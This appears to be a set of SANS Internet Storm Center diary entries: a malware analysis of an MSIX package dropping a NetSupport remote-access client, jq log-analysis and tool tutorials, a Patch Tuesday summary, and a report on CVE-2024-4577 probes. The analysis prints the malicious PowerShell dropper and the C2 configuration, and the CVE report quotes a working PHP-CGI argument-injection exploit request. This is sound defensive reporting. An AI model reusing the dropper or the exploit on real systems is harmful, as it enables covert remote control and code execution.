It's amazing to see how attackers reuse and combine known techniques to target their victims with new campaigns! Last week, I spotted some malicious MSIX packages on VT that drop a NetSupport[1] client preconfigured to phone home to an attacker's controlled manager. Remote support tools are really "cool" for attackers because they provide a perfect way to communicate with infected computers without the need to develop their own C2 infrastructure and protocol! If some are popular and often searched as evidence of compromise, like AnyDesk or TeamViewer), there are others, like NetSupport, that tend to remain below the radar. This one is available for free for 30 days (more than enough to launch a campaign) and provides all the expected features to interact with victims:

Let's have a look at one example of a malicious MSIX file: update_12_06_2024_5903695.msix (SHA256:e77bd0bf2c2f5f0094126f34de49ea5d4304a094121307603916ae3c50dfcfe4). The file has a very low detection score (4/69)[2]. The file contains all the components to download and install the NetSupport client:

# zipdump.py update_12_06_2024_5903695.msix 
Index Filename                                            Encrypted Timestamp           
    1 Registry.dat                                                0 2024-06-12 08:10:20 
    2 User.dat                                                    0 2024-06-12 08:10:20 
    3 Assets/logo.png                                             0 2024-06-12 08:10:20 
    4 config.json                                                 0 2024-06-12 08:10:20 
    5 fix.ps1                                                     0 2024-06-12 08:10:20 
    6 PsfLauncher32.exe                                           0 2024-06-12 08:10:20 
    7 PsfLauncher64.exe                                           0 2024-06-12 08:10:20 
    8 PsfRunDll32.exe                                             0 2024-06-12 08:10:20 
    9 PsfRunDll64.exe                                             0 2024-06-12 08:10:20 
   10 PsfRuntime32.dll                                            0 2024-06-12 08:10:20 
   11 PsfRuntime64.dll                                            0 2024-06-12 08:10:20 
   12 Resources.pri                                               0 2024-06-12 08:10:20 
   13 StartingScriptWrapper.ps1                                   0 2024-06-12 08:10:20 
   14 VFS/ProgramFilesX64/7z2404-extra/7za.dll                    0 2024-06-12 08:10:20 
   15 VFS/ProgramFilesX64/7z2404-extra/7za.exe                    0 2024-06-12 08:10:20 
   16 VFS/ProgramFilesX64/7z2404-extra/7zxa.dll                   0 2024-06-12 08:10:20 
   17 VFS/ProgramFilesX64/7z2404-extra/arm64/7-ZipFar.dll         0 2024-06-12 08:10:20 
   18 VFS/ProgramFilesX64/7z2404-extra/arm64/7za.dll              0 2024-06-12 08:10:20 
   19 VFS/ProgramFilesX64/7z2404-extra/arm64/7za.exe              0 2024-06-12 08:10:20 
   20 VFS/ProgramFilesX64/7z2404-extra/arm64/7zxa.dll             0 2024-06-12 08:10:20 
   21 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipEng.hlf           0 2024-06-12 08:10:20 
   22 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipEng.lng           0 2024-06-12 08:10:20 
   23 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipFar.dll           0 2024-06-12 08:10:20 
   24 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipFar64.dll         0 2024-06-12 08:10:20 
   25 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipRus.hlf           0 2024-06-12 08:10:20 
   26 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipRus.lng           0 2024-06-12 08:10:20 
   27 VFS/ProgramFilesX64/7z2404-extra/Far/7zToFar.ini            0 2024-06-12 08:10:20 
   28 VFS/ProgramFilesX64/7z2404-extra/Far/far7z.reg              0 2024-06-12 08:10:20 
   29 VFS/ProgramFilesX64/7z2404-extra/Far/far7z.txt              0 2024-06-12 08:10:20 
   30 VFS/ProgramFilesX64/7z2404-extra/history.txt                0 2024-06-12 08:10:20 
   31 VFS/ProgramFilesX64/7z2404-extra/License.txt                0 2024-06-12 08:10:20 
   32 VFS/ProgramFilesX64/7z2404-extra/readme.txt                 0 2024-06-12 08:10:20 
   33 VFS/ProgramFilesX64/7z2404-extra/x64/7za.dll                0 2024-06-12 08:10:20 
   34 VFS/ProgramFilesX64/7z2404-extra/x64/7za.exe                0 2024-06-12 08:10:20 
   35 VFS/ProgramFilesX64/7z2404-extra/x64/7zxa.dll               0 2024-06-12 08:10:20 
   36 VFS/ProgramFilesX64/client2.7z                              0 2024-06-12 08:10:20 
   37 VFS/ProgramFilesX64/PsfRunDll64.exe                         0 2024-06-12 08:10:20 
   38 AppxManifest.xml                                            0 2024-06-12 08:10:20 
   39 AppxBlockMap.xml                                            0 2024-06-12 08:10:20 
   40 [Content_Types].xml                                         0 2024-06-12 08:10:20 
   41 AppxMetadata/CodeIntegrity.cat                              0 2024-06-12 08:10:20 
   42 AppxSignature.p7x                                           0 2024-06-12 08:10:48 

You can see that a portable 7zip version is included in the file. It will be used to unpack the NetSupport client stored in the client2.7z file. Everything will happen in fix.ps1:

# zipdump.py update_12_06_2024_5903695.msix -s 5 -d
$url = "https://www.google.com/intl/en_en/chrome/"
Start-Process $url

$domain = Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty Domain

if ($domain -eq "WORKGROUP") {
} else {
    cmd /c "VFS\ProgramFilesX64\7z2404-extra\7za.exe e VFS\ProgramFilesX64\client2.7z -oC:\Users\Public\Documents\Client -p88888888"
    cmd /c "VFS\ProgramFilesX64\7z2404-extra\7za.exe e C:\Users\Public\Documents\Client\client1.7z -oC:\Users\Public\Documents\Client -p88888888"
    $path = "C:\Users\Public\Documents\Client\client32.exe"
    Start-Process $path
}

First, the script will open a browser and display the Chrome download page to defeat the victim. Then, the script will verify if the computer is part of a Microsoft domain (read: a corporate computer). If not, the client won't be installed. 

The NetSupport client is double-compressed in client2.7z then client1.7z:

# 7z l client1.7z 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz (906ED),ASM,AES-NI)

Scanning the drive for archives:
1 file, 1510337 bytes (1475 KiB)

Listing archive: client1.7z

--
Path = client1.7z
Type = 7z
Physical Size = 1510337
Headers Size = 545
Method = LZMA2:6m BCJ 7zAES
Solid = +
Blocks = 2

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2024-06-12 10:47:36 D....            0            0  client
2024-06-12 08:07:49 ....A          652          960  client/client32.ini
2007-07-06 13:07:32 ....A          328               client/nskbfltr.inf
2024-06-12 10:49:40 ....A         1369               client/NSM.LIC
2010-04-27 05:26:38 ....A           46               client/nsm_vpro.ini
2016-12-07 00:03:12 ....A        93560      1508832  client/AudioCapture.dll
2024-06-12 10:48:13 ....A        55459               client/client32.exe
2016-04-26 20:55:34 ....A       328056               client/HTCTL32.DLL
2015-04-24 17:27:28 ....A       773968               client/msvcr100.dll
2016-04-26 20:59:04 ....A        33144               client/pcicapi.dll
2016-04-26 20:59:10 ....A        18808               client/PCICHEK.DLL
2023-06-11 18:51:36 ....A      3710280               client/PCICL32.DLL
2023-06-13 13:01:09 ....A        63320               client/remcmdstub.exe
2023-06-13 13:35:38 ....A       391832               client/TCCTL32.DLL
------------------- ----- ------------ ------------  ------------------------
2024-06-12 10:49:40            5470822      1509792  13 files, 1 folders

The client32.ini discloses the IP address of the NetSupport Manager (the C2):

# cat client/client32.ini 
0x1c42f29c

[Client]
_present=1
AlwaysOnTop=0
AutoICFConfig=1
DisableChat=1
DisableChatMenu=1
DisableDisconnect=1
DisableMessage=1
DisableReplayMenu=1
DisableRequestHelp=1
Protocols=3
Shared=1
silent=1
SKMode=1
SOS_Alt=0
SOS_LShift=0
SOS_RShift=0
SysTray=0
UnloadMirrorOnDisconnect=0
Usernames=*
ValidAddresses.TCP=*

[_Info]
Filename=C:\Users\Public\Pictures\client32u.ini

[_License]
quiet=1

[Audio]
DisableAudioFilter=1

[General]
BeepUsingSpeaker=0

[HTTP]
CMPI=60
GatewayAddress=38[.]135[.]52[.]140:443
GSK=GK;OAKDA9C<I?PBGFF9F>D@KHF:J<P
SecondaryGateway=
SecondaryPort=443

[TCPIP]
MulticastListenAddress=

The C2 server (down at this time) is 38[.]135[.]52[.]140 and uses HTTPS. GSK is the shared key used to encrypt communications.

Note the first line (the hex value): It's a checksum of the configuration file. Any change in the file will make it unusable. But, NetSupport has a great support tool called cksini.exe that helps to generate the checksum of a manually edited configuration file:

C:\Temp>cksini
Generate checksum for .INI file
Checksum is: 0xfbaa0e3e
Output is in file: client32.ini

Malicious MSIX files are not new[3], NetSupport has already been heavily used by attackers in the past[4]  but they remain a very good combination to compromise more victims and... at a very low cost for attackers!

[1] https://www.netsupportmanager.com
[2] https://www.virustotal.com/gui/file/e77bd0bf2c2f5f0094126f34de49ea5d4304a094121307603916ae3c50dfcfe4
[3] https://isc.sans.edu/diary/Redline+Dropped+Through+MSIX+Package/30404
[4] https://isc.sans.edu/diary/sczriptzzbn+inject+pushes+malware+for+NetSupport+RAT/29170

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

I wrote a couple of diary entries showing my tools that produce and consume JSON data. Like "Analyzing PDF Streams", "Another PDF Streams Example: Extracting JPEGs" and "Analyzing MSG Files".

The tools than can produce MyJSON output (option –jsonoutput) to stdout are:

• base64dump.py
• cut-bytes.py
• emldump.py
• file-magic.py
• myjson-transform.py
• oledump.py
• pdf-parser.py
• rtfdump.py
• zipdump.py

The tools than can accept MyJSON input (option –jsoninput) from stdin are:

• 1768.py
• amsiscan.py
• base64dump.py
• file-magic.py
• format-bytes.py
• hash.py
• isodump.py
• onedump.py
• pdftool.py
• pngdump.py
• search-for-compression.py
• strings.py
• xmldump.py

The tools than only accept MyJSON input from stdin are:

• myjson-transform.py
• myjson-filter.py

And if you want to write your own program that can process MyJSON data, my Python program template for binary files process-binary-files.py also supports this format.

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

[This is a Guest Diary by Kaela Reed, an ISC intern as part of the SANS.edu BACS program]

Viewing logs from a command-line can make it difficult to extract meaningful data if you’re unfamiliar with the utilities. While there is a learning curve to working with command-line utilities to sort through logs, they are efficient, flexible, and easy to incorporate into scripts. Using tools like jq, cut, sort, and wc, we can extract details from logs to gather statistics and help us build context from attacks.

What is JSON?

JavaScript Object Notation (JSON) is a log format that is a lightweight and structured data-interchange format [1]. JSON is a common format used for logs and APIs because it’s easy for machines to parse. The simple structure also makes it easy for humans to read, especially when used in conjunction with a utility called jq (JSON Query), which we will revisit after we cover the basics of JSON.

Objects

JSON uses curly braces to hold “objects,” which contain unordered key/value pairs [2]. A key/value pair is separated by a colon and each key/value pair is separated by a comma. You might recognize this format if you’ve ever decoded a JWT (JSON Web Token):
{
  "alg": "HS256",
  "typ": "JWT"
}

Arrays

JSON also uses ordered lists called “arrays” which can be contained within objects:
{
"method": "POST",
"url": "/aws/credentials",
“useragent”: [
 "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"                                             
] }

JQ to the Rescue

The jq tool is a free, open-source JSON processor written in portable C programming and has no runtime dependencies. It’s easy to parse and filter through JSON logs with jq and it’s already packaged in major distributions of Linux, but you can also download it [3].

Extracting Data from Logs

If we read a JSON file using the cat utility in Linux, it can be difficult to sort through the information:

This is where jq comes in handy! Using jq, we can interact with the data from JSON logs in a meaningful way. 
To read a JSON log with jq, we can either cat the file and pipe it through jq, or use the command:
jq . <filename>

Using jq with JSON logs makes it easier for the reader to sort through the data. However, simply printing the log to the screen isn’t enough to extract meaningful information when you’re dealing with large log files and thousands or more records to sort through.

Finding Keys

Recall that JSON consists of key/value pairs. We can list all the keys in a JSON file to help us extract specific information later:
cat logs/web/webhoneypot-2024-04-20.json | jq 'keys'

Source IPs

There’s a key named “sip” which stores source IP addresses. We can filter data by using dot notation with .<field name> [4]. To extract the source IPs from the JSON file, we can use .sip. Let’s look at all the source IPs in the log file by using jq, then pipe it to sort and remove the quotation marks in the output:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq '.sip' | sort -u | tr -d "\""

Even better, we could use jq -r for raw output instead of using the tr utility to get rid of the quotation marks.
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r '.sip' | sort -u

Piping the previous command to wc -l, we can count how many lines there are, which will also tell us how many source IP addresses we have:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r '.sip' | sort -u | wc -l

Extracting URIs

URIs are stored in the field name "url." The following command will print every URI in the log on separate lines:
cat logs/web/webhoneypot-2024-04-20.json | jq '.url'

Piping the previous command to wc -l, we can count the number of URIs, which is 105,218. That’s a lot! 

However, if we pipe the jq command to sort, we will see there are duplicate values. Many of the same URIs were visited multiple times and from multiple IP addresses.

To extract a list of unique URIs and get rid of the duplicates, we can follow the same method in the last example by sorting the URIs, but pipe the command through sort or uniq.

We have 510 unique URIs visited!

Extracting Multiple Elements

We can also extract multiple elements and separate them into objects:
cat logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148") | {time, sip, url}' > dirb-attack.json

Alternative Ways with Arrays

Why did the programmer quit his job?

Because he didn’t get arrays!

In JSON, we can convert fields into different data types. In the last example, we extracted multiple elements and placed them into objects. We could also extract multiple elements and convert them to arrays: 
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148") | [.time, .sip, .url]'

With arrays, we can access the data with an index number. If we want to look at the 3rd element, which consists of URIs, we can reference the index value. With indexing, the first element starts at 0, so if we want to look at the 3rd element, we need to use an index of 2. We can then pipe that to sort -u to sort unique URIs alphabetically:

cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148") | [.time, .sip, .url]' | jq -r .[2] | sort -u

We can also grab only the URIs, join each one with a new line, sort and count how many unique URIs there are:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r 'select(.sip == "75.101.186.148") | [.url] | join("\n")' | sort -u | wc -l

Converting to CSV Format

We can take different fields from JSON and convert that data into a CSV format [5]. Let’s take the "time", "sip" and "url" fields, then convert the data to a CSV and open it in a spreadsheet editor.
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r 'select(.sip == "75.101.186.148") | [.time,.sip,.url] | @csv' > attack.csv

What is Directory Busting?

In the following example, we’re going to extract useful information from a directory busting attack that came from one specific IP address, but first, what is directory busting?

Directory Busting (Forced Browsing) is a technique used to discover hidden webpages and files on a webserver [6]. This can be done manually by sending HTTP requests to the server requesting common page names and files, however, this is often performed with automated tools and scripts. Automation allows for hundreds or thousands of requests to different URIs in a short period of time. The goal of this kind of attack is to discover sensitive information, map the attack surface, and identify interesting pages (like administrative login pages) that could contain vulnerabilities.

Finding How Many Unique URIs an Attacker Probed

Let’s first look at all entries from the attacker’s IP and send that the output to a separate JSON file:

cat webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148")’ > ip_75.101.186.148.json

If we want to make sure this worked, we can list all the source IPs in the new file we created to make sure the logs are only from the attacker IP address 75.101.186.148:
cat ip_75.101.186.148.json | jq -r '.sip' | sort -u

Perfect! The new file only contains logs from the source IP of 75.101.186.148. If we use the wc utility, we see there are 104,196 entries from that one IP!

Looking at the time stamps, these attacks occurred in a very short amount of time (roughly 5 minutes). This is typical in an automated attack like directory busting.
Let’s pipe the URIs through sort, then count how many different URIs were probed by this attacker:
cat ip_75.101.186.148.json | jq '.url' | sort -u | wc -l

The attacker IP 75.101.186.148 probed 452 unique URIs on the webserver. Looking at the Internet Storm Center’s Report on the attacker IP, that is an accurate number [7]. Although directory busting attacks can be accomplished with brute-force techniques, these are usually accomplished as dictionary attacks. The threat actor has been reported multiple times and has probed the same number of unique URLs each time, so the attacker is likely using the same wordlist to perform the directory busting attack:

The previous commands in the directory busting scenario were run separately, but could have been performed with one command to achieve the same result:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148") | (.url)' | sort -u | wc -l

Conclusion

These examples weren’t the only ways we could’ve arrived with the same outcome. This is the wonderful thing about using command-line fu! There isn’t just ONE way to reach the same answer and that’s part of what can make log analysis within the command-line fun! We’ve merely scratched the surface with jq, but there is a website you can go to paste JSON data and practice with jq, called JQ Play [8]. 

Keep practicing the art of command-line fu, grasshopper!

Cheat Sheet

[1] JSON.org. “Introducing JSON.” Json.org, www.json.org/json-en.html. Accessed 28 May 2024.
[2] w3schools. “JSON Syntax.” W3schools.com, 2019, www.w3schools.com/js/js_json_syntax.asp. Accessed 28 May 2024.
[3] jqlang.io. “Download jq,” jqlang.github.io. https://jqlang.github.io/jq/download. Accessed May 28, 2024).
[4] “How to Use JQ to Process JSON on the Command Line.” Linode Guides & Tutorials, 5 Nov. 2021, www.linode.com/docs/guides/using-jq-to-process-json-on-the-command-line/. Accessed 28 May 2024.
[5] Ramanujam, Sriram. “How to Convert JSON to CSV in Linux.” Baeldung, 13 Dec. 2023, www.baeldung.com/linux/json-csv. Accessed 28 May 2024.
[6] OWASP. “Forced Browsing.” Owasp.org, owasp.org/www-community/attacks/Forced_browsing. Accessed 28 May 2024.
[7] Internet Storm Center. “IP Info: 75.101.186.148.” SANS Internet Storm Center, https://isc.sans.edu/ipinfo/75.101.186.148. Accessed 28 May 2024.
[8] jqlay. “Jq Play.” Jqplay.org, jqplay.org. Accessed 28 May 2024.
[9] https://www.sans.edu/cyber-security-programs/bachelors-degree/
-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

I planned a bit a more conclusive story here, but after running into issues decoding the packets and running out of time between looking at student papers, I figured I would leave it up to the audience ;-) Maybe someone here better understands the Microsoft Message Queue (MSMQ) protocol.

Yesterday's Microsoft patch Tuesday included a single critical vulnerability, a code execution vulnerability in MSMQ. I noted in the podcast that we see some "background hum" on port 1801, the port used by MSMQ.

So I fired up some netcat listeners on port 1801, and after a short wait, this is what I got:

(this is the TCP payload. I removed IP and TCP header)

0000   10 c0 0b 00 4c 49 4f 52 3c 02 00 00 ff ff ff ff   ....LIOR<.......
0010   00 00 02 00 d1 58 73 55 50 91 95 95 49 97 b6 e6   .....XsUP...I...
0020   11 ea 26 c6 07 89 cd 43 4c 39 11 8f 44 45 90 78   ..&....CL9..DE.x
0030   90 9e a0 fc 4e ca de 1d 10 03 00 00 00 00 00 00   ....N...........
 

The entire payload had 572 bytes, but I removed the trailing 0-bytes.

Any idea? The bit of decoding I did so far suggests that this is MSMQ, and likely just checking if I am running a MSMQ server. What response should I return?

 

thanks!
 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Microsoft's June 2024 update fixes a total of 58 vulnerabilities. 7 of these vulnerabilities are associated with Chromium and Microsoft's Brave browser. Only one vulnerability is rated critical. One of the vulnerabilities had been disclosed before today.

Vulnerabilities of Interest:

CVE-2023-50868 NSEC closest enclosed proof can exhaust CPU: This issue became public in February. It affects not only Microsoft's DNS implementations but several other DNS servers. The vulnerability was made public by researchers from several German universities and research labs. They called it "KEYTRAP" and released a paper with details [1]

CVE-2024-30080 Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability: MSMQ is the service that keeps on giving. The tricky part with MSMQ is that third party software often uses it. MSMQ usually listens on port %%port:1801%%/TCP. We do see a good amount of "background hum" on port 1801, and I do not see a good reason to expose it to the internet. 

 

[1] https://www.athene-center.de/en/keytrap

 

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
Azure Identity Libraries and Microsoft Authentication Library Elevation of Privilege Vulnerability
%%cve:2024-35255%%	No	No	-	-	Important	5.5	4.8
Azure Monitor Agent Elevation of Privilege Vulnerability
%%cve:2024-35254%%	No	No	-	-	Important	7.1	6.2
Azure Science Virtual Machine (DSVM) Elevation of Privilege Vulnerability
%%cve:2024-37325%%	No	No	-	-	Important	8.1	7.3
Azure Storage Movement Client Library Denial of Service Vulnerability
%%cve:2024-35252%%	No	No	-	-	Important	7.5	6.5
Chromium: CVE-2024-5493 Heap buffer overflow in WebRTC
%%cve:2024-5493%%	No	No	-	-	-
Chromium: CVE-2024-5494 Use after free in Dawn
%%cve:2024-5494%%	No	No	-	-	-
Chromium: CVE-2024-5495 Use after free in Dawn
%%cve:2024-5495%%	No	No	-	-	-
Chromium: CVE-2024-5496 Use after free in Media Session
%%cve:2024-5496%%	No	No	-	-	-
Chromium: CVE-2024-5497 Out of bounds memory access in Keyboard Inputs
%%cve:2024-5497%%	No	No	-	-	-
Chromium: CVE-2024-5498 Use after free in Presentation API
%%cve:2024-5498%%	No	No	-	-	-
Chromium: CVE-2024-5499 Out of bounds write in Streams API
%%cve:2024-5499%%	No	No	-	-	-
DHCP Server Service Denial of Service Vulnerability
%%cve:2024-30070%%	No	No	-	-	Important	7.5	6.7
GitHub: CVE-2024-29187 WiX Burn-based bundles are vulnerable to binary hijack when run as SYSTEM
%%cve:2024-29187%%	No	No	-	-	Important	7.3	6.4
MITRE: CVE-2023-50868 NSEC3 closest encloser proof can exhaust CPU
%%cve:2023-50868%%	Yes	No	-	-	Important	7.5	6.5
Microsoft Azure File Sync Elevation of Privilege Vulnerability
%%cve:2024-35253%%	No	No	-	-	Important	4.4	4.2
Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability
%%cve:2024-35263%%	No	No	-	-	Important	5.7	5.0
Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability
%%cve:2024-35248%%	No	No	-	-	Important	7.3	6.4
Microsoft Dynamics 365 Business Central Remote Code Execution Vulnerability
%%cve:2024-35249%%	No	No	-	-	Important	8.8	7.7
Microsoft Event Trace Log File Parsing Remote Code Execution Vulnerability
%%cve:2024-30072%%	No	No	-	-	Important	7.8	6.8
Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability
%%cve:2024-30080%%	No	No	-	-	Critical	9.8	8.5
Microsoft Office Remote Code Execution Vulnerability
%%cve:2024-30101%%	No	No	-	-	Important	7.5	6.5
%%cve:2024-30102%%	No	No	-	-	Important	7.3	6.4
%%cve:2024-30104%%	No	No	-	-	Important	7.8	6.8
Microsoft Outlook Remote Code Execution Vulnerability
%%cve:2024-30103%%	No	No	-	-	Important	8.8	7.7
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2024-30100%%	No	No	-	-	Important	7.8	6.8
Microsoft Speech Application Programming Interface (SAPI) Remote Code Execution Vulnerability
%%cve:2024-30097%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
Microsoft Streaming Service Elevation of Privilege Vulnerability
%%cve:2024-30089%%	No	No	-	-	Important	7.8	6.8
%%cve:2024-30090%%	No	No	-	-	Important	7.0	6.1
Visual Studio Elevation of Privilege Vulnerability
%%cve:2024-29060%%	No	No	-	-	Important	6.7	5.8
Visual Studio Remote Code Execution Vulnerability
%%cve:2024-30052%%	No	No	-	-	Important	4.7	4.1
Win32k Elevation of Privilege Vulnerability
%%cve:2024-30082%%	No	No	-	-	Important	7.8	6.8
%%cve:2024-30087%%	No	No	-	-	Important	7.8	6.8
%%cve:2024-30091%%	No	No	-	-	Important	7.8	7.0
Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability
%%cve:2024-30085%%	No	No	-	-	Important	7.8	7.0
Windows Container Manager Service Elevation of Privilege Vulnerability
%%cve:2024-30076%%	No	No	-	-	Important	6.8	5.9
Windows Cryptographic Services Information Disclosure Vulnerability
%%cve:2024-30096%%	No	No	-	-	Important	5.5	4.8
Windows Distributed File System (DFS) Remote Code Execution Vulnerability
%%cve:2024-30063%%	No	No	-	-	Important	6.7	5.8
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2024-30064%%	No	No	-	-	Important	8.8	7.7
%%cve:2024-30068%%	No	No	-	-	Important	8.8	7.7
%%cve:2024-30088%%	No	No	-	-	Important	7.0	6.3
%%cve:2024-30099%%	No	No	-	-	Important	7.0	6.3
Windows Kernel-Mode Driver Elevation of Privilege Vulnerability
%%cve:2024-35250%%	No	No	-	-	Important	7.8	6.8
%%cve:2024-30084%%	No	No	-	-	Important	7.0	6.1
Windows Link Layer Topology Discovery Protocol Remote Code Execution Vulnerability
%%cve:2024-30074%%	No	No	-	-	Important	8.0	7.2
%%cve:2024-30075%%	No	No	-	-	Important	8.0	7.0
Windows OLE Remote Code Execution Vulnerability
%%cve:2024-30077%%	No	No	-	-	Important	8.0	7.0
Windows Perception Service Elevation of Privilege Vulnerability
%%cve:2024-35265%%	No	No	-	-	Important	7.0	6.1
Windows Remote Access Connection Manager Information Disclosure Vulnerability
%%cve:2024-30069%%	No	No	-	-	Important	4.7	4.1
Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability
%%cve:2024-30094%%	No	No	-	-	Important	7.8	6.8
%%cve:2024-30095%%	No	No	-	-	Important	7.8	6.8
Windows Standards-Based Storage Management Service Denial of Service Vulnerability
%%cve:2024-30083%%	No	No	-	-	Important	7.5	6.5
Windows Standards-Based Storage Management Service Remote Code Execution Vulnerability
%%cve:2024-30062%%	No	No	-	-	Important	7.8	7.0
Windows Storage Elevation of Privilege Vulnerability
%%cve:2024-30093%%	No	No	-	-	Important	7.3	6.4
Windows Themes Denial of Service Vulnerability
%%cve:2024-30065%%	No	No	-	-	Important	5.5	4.8
Windows Wi-Fi Driver Remote Code Execution Vulnerability
%%cve:2024-30078%%	No	No	-	-	Important	8.8	7.7
Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability
%%cve:2024-30086%%	No	No	-	-	Important	7.8	6.8
Winlogon Elevation of Privilege Vulnerability
%%cve:2024-30066%%	No	No	-	-	Important	5.5	4.8
%%cve:2024-30067%%	No	No	-	-	Important	5.5	4.8

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Our honeypots have detected the first probes for CVE-2024-4577. This vulnerability was originally discovered by Orange Tsai on Friday (June 7th) [1][2]. Watchtwr labs followed up with a detailed blog post and a proof of concept exploit [3].

Watchtwr Labs says PHP is only vulnerable if used in CGI mode in Chinese and Japanese locales. According to Orange Tsai, other locales may be vulnerable as well.

In CGI mode on Windows, the web server will execute "php.exe" and pass user-supplied parameters as command line or environment variables. This may potentially lead to OS command injection, a vulnerability I just covered last week in a video [4].

As parameters are passed from Apache to the command line, Apache will escape hyphens and render them harmless. However, an attacker may provide a "soft hyphen" (Unicode code point 0x00AD). PHP performs "best fit mapping" on characters passed on the command line, translating it to a dash. This allows an attacker to bypass the Apache escape process, and inject dashes. With that, an attacker can supply command line arguments to php.exe. A possibly choice outlined by Watchtwr is:

-d allow_url_include=1 -d auto_prepend_file=php://input

This will prepend the body of a POST request, leading to PHP code execution.

The exploit I have seen so far matches that pattern:

POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: [honeypot IP address redacted]
User-Agent: Go-http-client/1.1
Content-Length: 26
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

<?php die(md5(124*234));?>

 

This type of hash calculation is typical for verifying PHP vulnerabilities. In itself, it does not cause problems, but it may be used to find vulnerable systems for further exploitation.

One IP address I have seen use this scan is %%ip:79.124.49.158%%. This IP address has been active in our logs since March and has attempted other PHP-related exploits.

Last week, PHP released updates for currently supported versions, addressing this vulnerability. 

[1] https://x.com/orange_8361/status/1798919363376066781
[2] https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html
[3] https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
[4] https://www.youtube.com/watch?v=7QDO3pZbum8

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

One of the challenges with many IoT devices, in particular those targeting consumers and small businesses, is the ability to find how long a device is supported. This "expiration date" is becoming important as vulnerabilities are often discovered after a product no longer receives updates. In this case, users are often out of luck and left with a vulnerable device. Manufacturers will often not even acknowledge the vulnerability or provide notifications to users.

This will also make it difficult buying a device. It is often not clear what the "expiration date" of the device will be, and in some cases, you may purchase a device that no longer receives any updates.

Luckily, the UK government is here to help. As of April, any supplier of internet-connected devices in the UK must file a "Declaration of Compliance" with the UK's Office of Office for Product Safety & Standards [1]. Failing to do so can lead to hefty fines. The statement must include the minimum support period for the device. The same regulation also requires unique passwords and contact information to report vulnerabilities. 

Sadly, I haven't found a simple database to look up this declaration of compliance, but vendors post it on their websites. The regulation also states that the statement of compliance must accompany the product. But when you buy and open the product, it may be too late. Vendors may include this statement outside of the UK for simplicity, as you often find a long list of compliance statements for various locations included. Still, there is no guarantee that vendors will do this.

However, many vendors choose to make these statements public on their website. I collected below a few from popular vendors:

Supplier	Statement URL
Apple	https://regulatoryinfo.apple.com/ukpsti
Asus	https://www.asus.com/support/faq/1051929/
GL.Inet	https://www.gl-inet.com/psti/
GoPro	https://gopro.com/en/us/legal/uk-psti-compliance
